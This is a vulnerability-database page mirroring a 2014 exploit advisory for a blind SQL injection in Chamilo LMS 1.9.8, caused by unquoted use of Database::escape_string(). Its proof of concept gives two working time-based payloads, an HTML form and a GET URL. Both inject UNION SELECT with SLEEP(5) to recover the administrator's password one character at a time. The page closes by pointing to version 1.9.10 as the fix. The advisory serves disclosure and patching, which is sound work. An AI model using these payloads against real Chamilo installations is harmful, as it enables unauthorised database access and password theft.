Lucene search
K

Chamilo LMS 1.9.8 Blind SQL Injection

🗓️ 09 Feb 2015 00:00:00Reported by Kacper SzurekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Chamilo LMS 1.9.8 Blind SQL Injection on Database::escape_string() functio

Code
`# Exploit Title: Chamilo LMS 1.9.8 Blind SQL Injection  
# Date: 06-12-2014  
# Software Link: http://www.chamilo.org/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
Database::escape_string() function is used to sanitize data but it will work only in two situations: "function_output" or 'function_output'.  
  
There is few places where this function is used without quotation marks.  
  
http://security.szurek.pl/chamilo-lms-198-blind-sql-injection.html  
  
2. Proof of Concept  
  
For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()).  
  
<form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)">  
<input type="hidden" name="SubmitForumCategory" value="1">  
<input type="submit" value="Hack!">  
</form>  
  
For second exploit you need administrator privilege (there is no CSRF protection):  
  
http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)  
  
Those SQL will check if first password character user ID=1 is "d".  
  
  
3. Solution:  
  
Update to version 1.9.10  
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation